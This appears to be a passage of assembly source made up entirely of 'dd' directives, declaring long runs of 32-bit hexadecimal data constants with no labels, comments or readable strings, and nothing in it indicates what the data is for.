dd 0BC106284h, 42AAAD5Ch, 0CE1222Ch, 79E452F2h, 1EEA1F78h
dd 0FA0CC49Ah, 1867D83Ah, 24760423h, 0B8C23219h, 8CCBBCACh
dd 2DAD6E00h, 33D68DF2h, 0C1242881h, 0F48B54C4h, 315A6051h
dd 38D1B6E1h, 17FC5527h, 808B91D0h, 0F8BD74CAh, 0D0875CD0h
dd 2571E904h, 8884F8CFh, 0DBA186AEh, 394F79D2h, 69F8EC40h
dd 0E0D0803h, 78AC0170h, 0F8847664h, 0C8AEC97Ch, 0B60300h
dd 0DC3E45E7h, 9A46DF74h, 1C59BF1Fh, 0A4673041h, 60C68B14h
dd 837154ACh, 6E8F2689h, 72C30420h, 57FB1EBDh, 3C823AEFh
dd 0D311F06Ah, 1727987Ch, 978B91CCh, 580B68A3h, 0FC781266h
dd 0BB72E2Dh, 707873C4h, 7245440h, 203FD462h, 3A065ACBh
dd 2C02388h, 0EC053C17h, 8580ACE0h, 0BD474A80h, 6A0EF037h
dd 924AC7B9h, 0D9B66D02h, 62580508h, 0EE6CF074h, 0F8402CEFh
dd 27258C6Bh, 20C4CEh, 1F48A9F1h, 0F70EC09Ah, 5CE66D3Fh
dd 7C9E79DCh, 11881769h, 6BA38062h, 488B489h, 27B72513h
dd 0EC50EC98h, 13038C99h, 4C73B294h, 76F29AF8h, 0EB7C4040h
dd 49DF54Eh, 98E2FF40h, 0EB308EF2h, 4C1C005Fh, 91B67CC0h
dd 0EC121DB7h, 3CE5C3D2h, 910788FDh, 21855021h, 3222D084h
dd 97500C58h, 58E048A6h, 0FF122A7Ch, 50F3BC72h, 7ACE4C50h
dd 0B811C41Fh, 0E0C4F6B1h, 1D23B1C1h, 3BE476B2h, 86F91B01h
dd 2AA63D50h, 3A9C6088h, 8B008E47h, 9DD086Bh, 0A117B6E5h
dd 48C069D5h, 0FDA22658h, 5E705CF6h, 1A00BE46h, 97323E61h
dd 0C161D8Ch, 64A6F4F2h, 961E2207h, 0F84263BBh, 5B3D16D8h
dd 19683A50h, 1BEC5000h, 301AB76h, 5150046h, 5B8F1036h
dd 0E6E07ACBh, 8814345Ah, 8CC9E8C4h, 49500400h, 1623A51h
dd 2948190Ch, 2FDAB0C1h, 38CEC016h, 0AEC390C8h, 125D98EAh
dd 0B2220BBFh, 24933C46h, 0F1F1990h, 0CFE03200h, 0DE67C034h
dd 96B424AEh, 4DD1262h, 0B527844h, 7451CCh, 3398ED17h
dd 0CF1F5BE9h, 3CC067D5h, 1CC8096Eh, 0A661D3A0h, 0C420E730h
dd 170F6043h, 0E4C8899Bh, 0FF4FA40Ch, 16F0A897h, 180A7DA5h
dd 21F82AC8h, 0B24E66CDh, 0A020E041h, 546E4AD4h, 0EDC33CD8h
dd 0FB814D5h, 942729EEh, 5464C4A8h, 71CCFCA1h, 4F60B2F7h
dd 2E4C88C1h, 9080E49Ch, 466EB9ABh, 808A0F0Ch, 0B1A0FE96h
dd 7C14C4F2h, 580038E6h, 3FA0241Eh, 256631D9h, 2C59ECC2h
dd 20196AD1h, 0F63066A4h, 9123E1A7h, 6FD81635h, 51A0818Ah
dd 1542D5Bh, 21D03E58h, 0F8493B8Ch, 72D12091h, 0B9F25201h
dd 21CD7B32h, 0B4C0D660h, 5C356BB8h, 96587580h, 95360F1h
dd 5E99E9C3h, 867FEC52h, 87896C13h, 9D1B4600h, 55821DDh
dd 0D5041C17h, 0B3E0FB2Bh, 0C08632Dh, 18707D0h, 0C209850Fh
dd 0FA8B6600h, 1347F3FFh, 0BF0CB566h, 4674A4FCh, 872E0015h
dd 49B58951h, 5E48C109h, 0AF2D95FFh, 12377D0Eh, 2EA6FC01h
dd 0A86F90F6h, 8C1BB839h, 4CC29F0Eh, 69D86173h, 5820609Ah
dd 0E25DC89h, 63E5951h, 0A80EA19Dh, 0E1BD8B0Ch, 0B7610C10h
dd 0B88050F4h, 93D35825h, 1C17F44h, 0DD286A69h, 7A0D772Fh
dd 0CC00C9A9h, 59CBB35Ch, 865EBD9Dh, 1E6BEAh, 5FBBCB65h
dd 8D63B53h, 2FCD9D01h, 5B50E3Bh, 9BBFD731h, 96D68009h
dd 0B63807Eh, 0E984824Ch, 237DC8D5h, 0EF33802h, 8FA7C380h
dd 0C669EC9Ah, 0AFFD0D02h, 414F2D44h, 0B97BF71Fh, 1FB8AC0Fh
dd 166DB58Bh, 499BFB48h, 3892CE80h, 0EB4C915Bh, 0BB660062h
dd 8D8B6773h, 0C1819235h, 0F61F2A4h, 3F04DF88h, 29259589h
dd 80E94E91h, 0DFC60861h, 4958F55Bh, 16C57D86h, 221BE83h
dd 0C18B7F75h, 2FE19F4Dh, 0B97A6095h, 0D3371E58h, 0EB6F3200h
dd 9081CE76h, 2F112052h, 46A617Bh, 0BF0FE72Bh, 0F5F50B0Ch
dd 0C96031EDh, 4055858Dh, 1903BE12h, 907DDC38h, 0E6BE9550h
dd 463EB0B4h, 0C8713895h, 0CA66498Ch, 0B7240F48h, 8912B1F6h
dd 4EDAB5AAh, 0C0178803h, 1CD89F0Bh, 18654ECEh, 3033F8BDh
dd 1AD257D3h, 6FF74C0Fh, 2EAC3FADh, 5CE82903h, 9F0FF98Fh
dd 258C8C24h, 0B112085h, 5C08303h, 99BD33h, 53579087h
dd 310F5250h, 5F585A1Ch, 10F1A268h, 3DAE4Eh, 0EE194587h
dd 0EC2813ADh, 62271700h, 0B5BE6629h, 905E2FE4h, 0B927357Fh
dd 3CF38B1Ah, 268FD3B7h, 0FCF7A366h, 0FA425BFAh, 65715640h
dd 0BCDE50h, 0C1E53180h, 2AD3211Fh, 0C028F799h, 0DC3EFEBFh
dd 782AC600h, 982E301Ah, 0FB8D5BADh, 3947EA40h, 7C413F4Dh
dd 18153729h, 389D5068h, 7EED4B99h, 58AC98ADh, 9BC0B505h
dd 9BC09D26h, 50FFD41Fh
dd 622CC3D3h, 3320823h, 1AD197C0h, 6EFE485Eh, 7EB126CAh
dd 2C208D1Ch, 0AF1ADFE9h, 24BD3157h, 0AD7B5C25h, 0B136AC6Dh
dd 7C86E1FFh, 9B85C301h, 7EDDC1C5h, 84203C9Dh, 8BFC8801h
dd 1D98F5F4h, 0DCBC5EBFh, 7962D702h, 610963ABh, 11404D7h
dd 812EC1BCh, 7376C3E3h, 9C08E601h, 0DB0B6A67h, 88AB6A70h
dd 8124B529h, 0BD85CA16h, 0A3190D3Bh, 58DF84FCh, 0D5105027h
dd 0C1E9160Ah, 0C8558EFFh, 373DC01Ch, 30057222h, 0D3064D36h
dd 0F01F004h, 11090412h, 85C70529h, 969E4810h, 4500686Fh
dd 1F3FABB5h, 210B8C9Fh, 7F5EE9FCh, 6F40B46Fh, 5169F29h
dd 0D517BA77h, 0F09E8071h, 0F352BF0Fh, 5E53525Dh, 0C76BBFh
dd 9E79EA2h, 5E23992h, 0BD31C80Ah, 83E1FE81h, 0FD6F244Dh
dd 1AC04h, 0F45F4698h, 0FEFF2381h, 0BD29CCE5h, 0A15C52Eh
dd 0B7DB8C89h, 316482A9h, 5CE9859Dh, 0FD588E60h, 98EEF716h
dd 21798558h, 24F66180h, 1A4004C3h, 0F3DF2140h, 5B1A58E5h
dd 39202E90h, 64B59028h, 0C2290DF1h, 900310BBh, 0E35FB0BFh
dd 1E504A32h, 87AA4F3h, 0A0BE1B01h, 800F2F04h, 661438FDh
dd 32F5075Ah, 20A64512h, 0BF6198F2h, 0B0E6C317h, 85E1DBFBh
dd 9D0025ECh, 952189D2h, 70E605B2h, 91C1BD23h, 7F71E4A3h
dd 0F3AC23B9h, 8BAB010Ah, 0A407B468h, 0B652D6CFh, 99D3C0D8h
dd 49BA810Dh, 0F01336D1h, 0FABB88h, 0F54D3EBh, 8B8A3FB0h
dd 0B887D9F9h, 0E8C10929h, 819E0004h, 46794DFh, 0F7664240h
dd 0C38EDBE2h, 0D0C8F836h, 592B568Bh, 99BC3CD8h, 0D6105F95h
dd 0A573B360h, 505D6171h, 0B861953h, 0B862E81Fh, 0E4237F01h
dd 715E85D7h, 4F26A064h, 7E31E950h, 36B8F38h, 9B1D6E87h
dd 0BBEDC8ADh, 12D30029h, 6C90CBDCh, 0ECC45A4Dh, 0B6CE241Ch
dd 78C01A88h, 166E1006h, 0FF68A150h, 0AC140590h, 5EEE1CF8h
dd 76003ABCh, 4F90840Bh, 654EEB54h, 2C8B6C74h, 0B4C01988h
dd 0B0E15118h, 35C2A0CFh, 0F2DF821Ch, 0CFE009Ah, 5AEFA424h
dd 79718034h, 63E8DDB8h, 77BAD713h, 0A340848Dh, 9AE98531h
dd 12B5B026h, 12384ED6h, 0FEBB098Ah, 0CDFD870Bh, 0F13F6011h
dd 0DB06DDBCh, 8981F875h, 291241B2h, 258D8286h, 613C0318h
dd 2C383F3h, 616D0987h, 8BE68FC0h, 305135BDh, 81C2006Fh
dd 57D125EFh, 4D485B43h, 0E584F134h, 0A6A64459h, 4467E25Fh
dd 41ED98BCh, 0B6BA5429h, 643AE0BDh, 0FAD01D2h, 0B76065F3h
dd 458BD9C0h, 0D0A2EA5Eh, 26CB6124h, 6BFEDEBCh, 5D5F2A72h
dd 67AD1EBEh, 8E43ED12h, 58DC47ADh, 21DDD309h, 0E5720E68h
dd 17014E0Eh, 80379BFAh, 0A6FA1CADh, 381094B9h, 0ACBCBB59h
dd 5760DE05h, 0A7C783E3h, 4181026Bh, 2670A27h, 0D93B61C0h
dd 11F42061h, 16C5B533h, 0C1F11242h, 424BD9CEh, 52C01D88h
dd 0DA0BDCh, 35DB9D57h, 0C1F6751Fh, 0AC44BDB2h, 0DBD1603h
dd 5BA02817h, 0D5786AB3h, 0FCD90786h, 737EE54Ch, 0CEDD2B82h
dd 0C51588EBh, 33A315F1h, 0BF95579Dh, 3D61DA80h, 4B084A34h
dd 4FF543E4h, 88B487Dh, 60830A8Dh, 0C98B48B2h, 6FAC0931h
dd 1044220Dh, 480D91B5h, 0E516D8FBh, 0C0B1830Bh, 14ED7F23h
dd 0A0F68101h, 212F1DDEh, 7ED8C9EBh, 0BAC4BBDh, 897FE419h
dd 0A4290C6Ch, 828BC524h, 73D46951h, 0D6B07C55h, 959D902h
dd 8B2A3D85h, 3ACDFF63h, 0D167DD60h, 5BA2E060h, 52BD3C64h
dd 9AEB35D7h, 5B80DF12h, 0BDD0718Dh, 890D3A9Bh, 240B0927h
dd 5EBDE346h, 2A73D66Fh, 0DC0BAFEAh, 14FF60B6h, 58A2939Ah
dd 0B1EFCFEh, 3A1243BAh, 66F2F107h, 0CA677732h, 0CC765586h
dd 1C184676h, 5C8106C6h, 81B52B0Dh, 25313864h, 0BD049DBDh
dd 0D7BDAA90h, 2F002EACh, 0EDEFCDFEh, 258BC022h, 0A502F8F2h
dd 879D5EF7h, 7D821611h, 0C2EC7E3Ch, 14101496h, 951F9948h
dd 9DFAA0B9h, 40023159h, 10407DF3h, 0BE660A61h, 5C42DDC4h
dd 0CD011946h, 0CF1AB17Ch, 45F97F6Ch, 55AF7400h, 60D22968h
dd 0AC2D3B00h, 0A88A3DC3h, 30C2E6CFh, 9DA25849h, 0ADB62F21h
dd 7DB0C781h, 0B87A5F61h, 0FF0E9304h, 0BE013015h, 3F8F13E4h
dd 16D9EC0Bh, 603456BFh, 660983BFh, 52940A03h, 37F0B70Fh
dd 0E454F25Ah, 91F6580Ch, 628EF428h, 61601502h, 2E37E6Dh
dd 0FFF7A9E9h, 0E14A6DC6h, 88CBC83Ah, 3B0901EAh, 0B5D7C12Fh
dd 0F8C982DFh, 0E6D9D2E5h, 31D35AB5h, 810E1051h, 0D15E2C12h
dd 8C543EDEh, 81E72800h, 309F0CCFh, 0F9351E5Bh, 1B23C33Ah
dd 3C799D00h, 4C5035Ah, 8589AE7Fh, 0EF6395B1h, 901371B4h
dd 2C0B009Ch, 56906CD6h, 9E3DB560h, 1B50AF61h, 0BE87B879h
dd 40F8047Eh, 0E2B5BDB2h, 31F9004Bh, 0EE825E1Ch, 29470060h
dd 5BE66AE7h, 905E6137h, 0F66BAFh, 0B72A3F10h, 536AB86h
dd 0F886966h, 4823158Ah, 101D6A2Dh, 0A7811511h, 22E9534Bh
dd 0FF9B0066h, 7D4C7475h, 0FCB10386h, 5F5A5EE4h, 80606000h
dd 81668AD1h, 36DF14C1h, 4602D361h, 0F5064C1Ah, 0BE0235F0h
dd 898B87Bh, 4954190h, 7026BF08h, 0F19F579Ch, 34C37E5h
dd 0F7C78002h, 33C57FA0h, 34E00C4Ch, 0C6C24EF9h, 7178FF15h
dd 0FAD041B3h, 0C59D1289h, 4DB8A42Eh, 21DD55D6h, 71B06636h
dd 0B01F134h, 9E91C419h, 4D21F98Bh, 90013F1h, 145E7595h
dd 0E1311E73h, 93A8276Dh, 0C09FD63Eh, 44DE8105h, 275295Eh
dd 0F070A3FBh, 4F843B8h, 7C1A2C4Fh, 338282D4h, 1204B2E1h
dd 0D865200Eh, 5200FFC2h, 54C84DB8h, 12A170A2h, 0B261E188h
dd 97EE0038h, 0CBCEE0F6h, 2F227D6Ah, 2C1607FFh, 2F1A5021h
dd 80519F5Dh, 0CAC265BBh, 510B1F9Eh, 0C7F85FFCh, 2345B935h
dd 0E39701F8h, 0CF53730Bh, 0B2792760h, 0DBF4BDDBh, 89691DD6h
dd 6F91402Eh, 0FEDA4090h, 306A14BCh, 2D07B508h, 5D7C14A4h
dd 1714818Eh, 993FCCBBh, 2EAA1700h, 72AEFD32h, 25AF1604h
dd 5F5BC65h, 1821BD83h, 102228E2h, 2DC70EA0h, 59E90D16h
dd 0A11EF31h, 1D405929h, 157CBF01h, 0AC175CF4h, 798D8904h
dd 0A99D8813h, 1AE9BFA8h, 0FA8A70A1h, 0FD21022Bh, 5445B202h
dd 1C9E611Dh, 7AC94D8Dh, 970FACE9h, 0A5C1C7A6h, 0D9F6A4CDh
dd 6618F85Dh, 3CA96B02h, 6AECBCEAh, 0B2BAD193h, 8C200ADCh
dd 0D0CC07h, 4AF0E38Eh, 0F88B3416h, 0C8B65F71h, 0E4F1102Fh
dd 916116F2h, 879CC8B1h, 0F6D1BCh, 0C6C929E1h, 52BE93EDh
dd 4EADA140h, 0E4037709h, 0F2C6855Fh, 0DB190075h, 4D085671h
dd 0D8820298h, 0EECB6229h, 2E25F9C3h, 0D1F24652h, 4D386608h
dd 0F535090Ch, 8912611Ch, 0A6B62404h, 4C296AE0h, 6EC4E001h
dd 0E97C1BFCh, 612703C5h, 0AC177B07h, 0A60400Dh, 651E1E4Eh
dd 46845A37h, 15F6B0FBh, 3E936DF0h, 70E60312h, 2E10391Eh
dd 4267C50h, 0E41AEA12h, 22B9AA71h, 0A31777ACh, 4E07FB92h
dd 5A53BF3h, 0AA661DA1h, 0AF8C0DF0h, 3626BD5Ah, 4B294EB4h
dd 702C356h, 0E20919E9h, 713C7B1Dh, 12FD7EF1h, 15306702h
dd 46791BEAh, 5E5A8CA8h, 53DB4612h, 895C3B80h, 4DB21995h
dd 0CDD82B25h, 0AA99C467h, 0CDD26DFCh, 0C9626CF2h, 0FBE80493h
dd 8DBA8680h, 6B071F15h, 74782C61h, 0B3051746h, 81E13C8Eh
dd 2053D72h, 0AF3173F8h, 0BC0084B5h, 0A336AEF9h, 985C2403h
dd 66108ECh, 57316849h, 0B05F2DF9h, 6A817037h, 93D43DBDh
dd 90F08370h, 6CDEBD83h, 128813D6h, 3191B033h, 9D440845h
dd 1923282Eh, 9A350C00h
dd 90215CBAh, 6B12D72h, 1D8E798h, 1186F282h, 0D82AD59Dh
dd 9122998Ch, 5BFE208Eh, 51A821F3h, 0B123031Bh, 0AE6C0521h
dd 0C1440493h, 294B990Bh, 7492A822h, 17D1E68Bh, 0BE6BA1E5h
dd 0EEF29390h, 25091C90h, 0B655801Fh, 0BEB907AFh, 0EDF73816h
dd 146D6D04h, 0B4585E05h, 3D975D8Bh, 0C6288272h, 8BD96D1Eh
dd 0C2D78100h, 26704C4Bh, 0F4A3C183h, 430FC3Ah, 0F9BD29F3h
dd 8B69BCB1h, 9E010317h, 8CD885BCh, 4EE643C1h, 153152F4h
dd 8D0CCDBDh, 97AC105Ah, 5A1C6510h, 55A28D22h, 0F4CBD6h
dd 0D08DA858h, 70EBC1B9h, 97A8F059h, 498778DBh, 9DED5279h
dd 7FB5F1E1h, 5B261EECh, 659860B6h, 3F017781h, 3C24A44Bh
dd 5C209F57h, 0C32B275Eh, 0B5F25D40h, 0D1CF9BB6h, 49E92A62h
dd 0F4597455h, 0CAE3C800h, 0EFD8E835h, 0C056CB8Eh, 2CC2FE6Dh
dd 0D9CF414Eh, 9AA5D055h, 0B4C0615Bh, 9359E40h, 0E2CD8D27h
dd 0C9D68269h, 95035214h, 4F13B4A0h, 604F362Eh, 827DBC3h
dd 329952Fh, 74D8611Ah, 0AA08DCD0h, 0B95CCBAh, 4C53122Dh
dd 9B3B6266h, 734D78FAh, 64AD6D25h, 0FB1000Bh, 22CB86D7h
dd 2C009C3Eh, 93DA7FD1h, 24FF05FDh, 2D2EBD33h, 5F95A016h
dd 81BE8B1Fh, 0E3E4EF8Eh, 6E664F86h, 0F828A848h, 369145EFh
dd 758D404Eh, 0D3419089h, 57F604ADh, 3DC725Eh, 0EAA99109h
dd 0E9F19F27h, 0E243100Fh, 6EF5583Ch, 57AC8100h, 6A39CA8Fh
dd 664E5827h, 0F7B0CB4Ah, 0CD59182h, 0FE6C61AFh, 0AED34D28h
dd 0D2F34DA6h, 0EBDE410h, 9509FC02h, 86912F69h, 5DAD3859h
dd 2707B825h, 0A0814BC5h, 711FE5DFh, 0F2FB36C0h, 0A3777671h
dd 0D1778C5h, 0F83CC476h, 9EF92871h, 0EA887D45h, 81042B39h
dd 79C0D0EEh, 0B524E942h, 5B554809h, 378758DEh, 213A3A9h
dd 7368FB60h, 858079FBh, 0A8259935h, 52EA8EB9h, 8D210C80h
dd 62116B91h, 0F3F6AB7h, 0FF958BA1h, 0C952C960h, 8FCD032Bh
dd 7E97A6C1h, 18B86C8h, 5A51B7C5h, 0D57F6ABEh, 59A0EA46h
dd 0A9A5CBBAh, 0E12583EEh, 0A4E65701h, 14518D10h, 0CB4A8B2Ah
dd 6964F0F8h, 8805C670h, 6F4BA896h, 0CF2B2449h, 0E9A86355h
dd 0EC70B7E0h, 745CFF01h, 0D399D23h, 6061F900h, 0D6AD7EBFh
dd 93C26414h, 0F702D2E4h, 13E59Dh, 4DB8161h, 36FF714h
dd 12512C6h, 713870F6h, 5F3C6C80h, 1A6DCE6Ah, 3EF1339h
dd 0BB694B92h, 0B53812D5h, 0A5A6BE12h, 9F6235F0h, 0BD0974C2h
dd 54467861h, 0ABE488Bh, 4C51EDC8h, 3F2164BAh, 0E8011923h
dd 14F799AAh, 61147131h, 0F301276Bh, 8E018C7Fh, 2515482h
dd 94C88022h, 0F2AEE38Eh, 0BAD2C8F4h, 0EDB0ABB6h, 1D2E9DF9h
dd 1090F8C8h, 4065C440h, 0ED3F829h, 881EB95h, 8B001A75h
dd 0E952D9Dh, 519D595h, 0FABBBE66h, 5D225F49h, 0A500DE53h
dd 0CD9FE6F6h, 70530006h, 74930328h, 1A001B32h, 66604771h
dd 98AE85B9h, 34D802C5h, 8B5F61F4h, 690F47A7h, 9529BC10h
dd 3D136545h, 0BB1F4A24h, 28C0F19Ah, 2991B501h, 0BD44D389h
dd 0B0806EE8h, 23705426h, 2AE28690h, 9D605E80h, 0A857C004h
dd 5FAF62D1h, 91D8B561h, 29EC8014h, 0A433498Dh, 64A295D4h
dd 0C571810Fh, 249A8810h, 0FABED5C4h, 0C17C00DCh, 9FB2FA50h
dd 6D8809E8h, 27701D18h, 467F4025h, 5F526084h, 0CE527498h
dd 0CC9E6BD5h, 582101E5h, 55413ACFh, 0C1A032AAh, 0C899D2Bh
dd 615E0709h, 5C013185h, 979B34F0h, 2E02F0h, 6ACA961Ah
dd 66ECB80Bh, 0CB19BF15h, 94011F58h, 0C4CEE302h, 7CA0624Ch
dd 3809DCFDh, 79DDBD33h, 0E9612E41h, 5FC0C9CDh, 9E94FDBh
dd 3F9A28E1h, 16D16A59h, 0BF247918h, 0D207B6EBh, 7606223h
dd 91E99D61h, 0B3ED2D25h, 0D29FC5C0h, 73312646h, 0DB02DE89h
dd 0C44E90DDh, 3D67C1CCh, 0C18B01CEh, 0D5C8CD60h, 25BABCC0h
dd 0EDE75546h, 3F0438C2h, 5C043808h, 0BD236009h, 8D77289h
dd 1AA9950Bh, 5E91A31h, 0E88A6103h, 0D1008744h, 0B3A39FAh
dd 5AF98B68h, 85FD9B5Eh, 6CEC31A7h, 0FC5B837Ch, 542045CDh
dd 0E80A400Dh, 7D9508E6h, 459335B7h, 0C5E524C3h, 0C398B04h
dd 95B52901h, 1665902Bh, 7D66BD6h, 97D194B4h, 382B7E51h
dd 521D6896h, 0E0C9B646h, 0FCE01170h, 2EF002E1h, 0C4E81032h
dd 7BFFCD4Ah, 0C90C581Bh, 20B3830Bh, 48CDC2Bh, 0AFBD8B4Ch
dd 1D8CE8ACh, 0F905530Dh, 78BE85Fh, 0F07AE6FBh, 32FCE0D4h
dd 0D95C54B1h, 0B79DC570h, 90B0087h, 0F8B33BDEh, 0D8F65F07h
dd 0A18CE83Dh, 218D1403h, 417E6428h, 59C3300Dh, 310B1B40h
dd 0E8E1F1BDh, 0F63BA41Eh, 2611A4C9h, 0EDE5ECAAh, 9157088h
dd 0B5516001h, 2BF45F8Fh, 1C392095h, 34A35A48h, 0D9FD6BE4h
dd 8006AEB8h, 0AD67D933h, 66215874h, 94800988h, 0AA706551h
dd 61EF0E31h, 75D8E864h, 0F262B70Fh, 731BD538h, 0A95ED248h
dd 0B122D1A8h, 0DB77692Ah, 0C6C090EDh, 9BAF195h, 840FE6C1h
dd 0CA985579h, 8306FDB4h, 8D49BDB1h, 773CE80Dh, 26206E6Bh
dd 0F1050C57h, 24CCE7A5h, 19CFCDBh, 0BC9634E0h, 8659C918h
dd 93CDD728h, 2FB52F8Ch, 281FF13Dh, 7405F080h, 1E655B5Ch
dd 2DD8E8FCh, 0BF00143Dh, 3AE46B9h, 0A4D24B5h, 0C994282h
dd 2249D27h, 6DA2E806h, 2B272DB0h, 30040C73h, 25619E25h
dd 1000B0B7h, 118BD202h, 99E65089h, 9AFE0DE1h, 29DF69E8h
dd 0FAF3B809h, 0FB8F028Eh, 0CF1B589h, 1B717082h, 0F4B65Ch
dd 0BDA9CA9Fh, 202785BAh, 3B61F24h, 17B06A67h, 17C4C506h
dd 0B0F167BDh, 0E8305E1Ch, 8D89D101h, 0B548A8CDh, 5F6F9517h
dd 22E1A340h, 0EC07026Ch, 290A8844h, 940EA5Eh, 0A801ADBDh
dd 8204C0E2h, 31D2D463h, 28407B66h, 0AAF12E80h, 34002445h
dd 0AEA9AF2Dh, 35021DACh, 318D01A1h, 4D34822Fh, 0BC885218h
dd 4310A5FAh, 0EF12B22Ah, 0A2BE1D58h, 37B10458h, 0F9ABB05Eh
dd 453B8BCh, 4069EE1Dh, 80C0BCFDh, 73B2C684h, 0C5F64AE8h
dd 76FB0h, 95C45D7Eh, 415A1A7h, 0FBA5261h, 547E980h, 0C9852960h
dd 0F4612B92h, 0A24DA7BCh, 0F84C8E0h, 8B02448Dh, 69F9F272h
dd 0E6F1B8ECh, 6C332CA5h, 1BA03BE8h, 0F3816001h, 1182D789h
dd 4AF0E6F6h, 0BD869061h, 0B2B70D15h, 0D44F742Eh, 6D8F1000h
dd 0B0C9DB11h, 0D82B0E29h, 0C28B523h, 4B60500Eh, 0F058252h
dd 40885431h, 0B08BF315h, 0D5ABFB00h, 6FDC562Dh, 47640475h
dd 0BD5B663Dh, 9D1C2234h, 9B004E35h, 6DE0AB88h, 0AEE40B4Ch
dd 0EAE6F97Bh, 0F5055590h, 5B47ED23h, 0E10FE86Fh, 84D00F96h
dd 0BAE034B1h, 2BBCA28Dh, 60B784h, 6BF5804Eh, 5809B966h
dd 531A89DFh, 0C59B70D7h, 0CF9D8726h, 87EE700h, 0BC044289h
dd 0A201DC07h, 3FA352A0h, 206A6E47h, 76D0E4BFh, 23395500h
dd 40DD8B7Eh, 42170161h, 0ED86A146h, 0FC812B53h, 5901270Dh
dd 199452F5h, 5ED09953h, 0E1A495DEh, 4F95100Dh, 9580179Bh
dd 82F18DDBh, 6B867709h, 42962989h, 539B298Ah, 2E9A706Ch
dd 1745ECC4h, 85096000h, 2B9E1B11h, 4313988h, 0B38F0F61h
dd 40452889h, 75E81A62h, 0E848A429h, 82D012F5h, 87450BBDh
dd 9C0EFA1Dh, 97595559h, 1357C97Ch, 0C0B9DAFAh, 59268F03h
dd 0A2EA06E2h, 92CBB70Fh, 4F2859Fh, 0ADE24956h, 0C9609000h
dd 0F318F69Fh, 3BB39C2Eh, 0AEC08200h, 7EB7341Fh, 9E6B6560h
dd 5A8D5971h, 0CF5620CAh, 64643235h, 26E722E6h, 0BE069375h
dd 5E5F9A3Bh
dd 11E9256Ah, 0E1036D5Fh, 2E4C8E83h, 81C125AAh, 11C45B5h
dd 0EE5BD2Bh, 433DD858h, 3F824B0Fh, 618E0C30h, 4124A794h
dd 505C24DEh, 0B17512AAh, 3774A500h, 924200B5h, 38D464E4h
dd 93F3BD1Dh, 1ACAC1A7h, 9A5B7F27h, 128C8072h, 9845CB6Fh
dd 6610FF97h, 3850C0BFh, 13406983h, 0D9FDA052h, 56AD665Ah
dd 0C718101Ah, 0F8360FAh, 3AB98Ch, 3F643B9h, 1E6E930h
dd 59B77F95h, 890F4A87h, 60E9152Ch, 3FF40B0Ah, 7C019CAEh
dd 3A125976h, 9B2B6AB6h, 0B2F5C14Fh, 31F0AC40h, 6A7F0EA1h
dd 0CC529589h, 18BF602Dh, 95F78BCAh, 82C78F75h, 570D627Dh
dd 2DECB5Eh, 13D9374Ah, 0A292850Fh, 44D1B001h, 2B5482E0h
dd 560E918Dh, 12E98BEFh, 4A01E553h, 2CDB2E45h, 14D5CECh
dd 7A38CB44h, 48E8C21Bh, 6600AAABh, 4E6DBAD5h, 0E20DD6BFh
dd 0A04801B2h, 62F0ABB8h, 205EFD8Ch, 2290F9F7h, 0D57110BBh
dd 4EF2FD0h, 8D8B79FFh, 8A4CA015h, 0BCA9C549h, 0CE0E4C9Fh
dd 0C0C41939h, 0B0F18016h, 0FB97E99Eh, 38894CDAh, 7615D155h
dd 9B001A46h, 33E8C68Ah, 889D1F21h, 10AA095h, 0C62D7B16h
dd 0E0B7BFABh, 0B02ACE01h, 64D0BA40h, 1DF990C2h, 250659Bh
dd 5F01AC46h, 5E4926D4h, 3B12CDC6h, 0DF02D36Eh, 0E80D1525h
dd 5F005A44h, 6EB5C6E1h, 6510E3h, 0F514F289h, 8A0FDECCh
dd 0BB018691h, 467F48BAh, 0DA28217Ch, 33121282h, 0CD76E04Ch
dd 0C9F0741h, 9AF12509h, 0FEB72Dh, 38BFD0E3h, 82EC80FEh
dd 0BD290105h, 33043371h, 10121385h, 6E4A95F4h, 0A930075h
dd 1191C19Fh, 0B0033997h, 89F9F924h, 607E4D9Dh, 0E0366DA7h
dd 0F557E294h, 0F2DDCB2h, 5F7FE663h, 0E3652060h, 0D70B3CA4h
dd 0FF0D02ADh, 97B3A648h, 9E666500h, 537C643h, 0BBA21D61h
dd 6D8D1C94h, 8A026EEAh, 0FF021CB9h, 0D92161D1h, 0E372BF2Ah
dd 895727ABh, 80A96C08h, 0F026A5Bh, 905ADABFh, 20EA7BD4h
dd 0B1E3C19h, 0A63E6C00h, 0C003E7C8h, 421ECD9h, 4731F214h
dd 8422BFE0h, 0DCB27490h, 38542E01h, 1B81213Dh, 0D1B8C145h
dd 9519587h, 0FEF4CC7Ch, 7B11B753h, 6C2C804Ah, 7292B881h
dd 3E74C0h, 0AA913888h, 7CB41D8h, 0BB665B04h, 4DF83C4Ah
dd 0AADE9680h, 0BD02443Fh, 0FA0F3EE7h, 7A174D7h, 9B6FE95Fh
dd 1C64CC79h, 209D9788h, 89082FFDh, 2828C9B5h, 93DA11A9h
dd 27C1104Bh, 50FA8A02h, 8F71860Fh, 7A52FE12h, 6281559Bh
dd 0C41C4FE8h, 0A498255Bh, 92C0120h, 0D318D29h, 0A5675B57h
dd 4D71DB7Bh, 0E0ECC8h, 89441BA4h, 0F860BFF3h, 15DDE0C4h
dd 50556109h, 516F95F9h, 59DA5D69h, 202FA690h, 0C4E34606h
dd 0F01FD70h, 0AA6FB66Ah, 435AFC01h, 4030C622h, 0B5FFDEF8h
dd 0F8AA0BEh, 8A42D180h, 0A8765DD8h, 6A68E942h, 0CF6740E1h
dd 5104BDB0h, 0CE84412h, 0A2EEB443h, 0E8ED5E0h, 16764300h
dd 0E65F5C88h, 2E649D70h, 0E1C6D500h, 0F8FE606Fh, 378401C0h
dd 7973563h, 759F7091h, 165B2340h, 0F26071E4h, 83A93DD7h
dd 90C27BF7h, 0F548881Dh, 0B5952431h, 2597ACB6h, 61D0C97Fh
dd 62365F6Bh, 0AEE7801Eh, 80C8B649h, 74A80E6Bh, 68E95463h
dd 0FA7E0EB0h, 1E008CD0h, 4E49E0A7h, 0F130E302h, 0D67CDDCFh
dd 25BD6150h, 85C11213h, 9D53C5D7h, 33785630h, 62E700B1h
dd 50AC2C69h, 9813037Fh, 7604D268h, 0E4F15BDAh, 1F594410h
dd 5FAC00C9h, 7C6E445Ah, 1E27EF28h, 9CC54454h, 0B5442FF5h
dd 2518F795h, 0E6C02BF9h, 0EEA012F7h, 0D18B0763h, 1B0CB6BBh
dd 0E6A87ED9h, 0C7174132h, 0F8737A85h, 1FA0959Dh, 9F6BF381h
dd 8F4ABE2Ch, 2AF2071Fh, 0E098C404h, 0B59D3131h, 43D03B13h
dd 108411BDh, 2C05108Dh, 0B3EE915h, 97DEF12Ah, 8056C018h
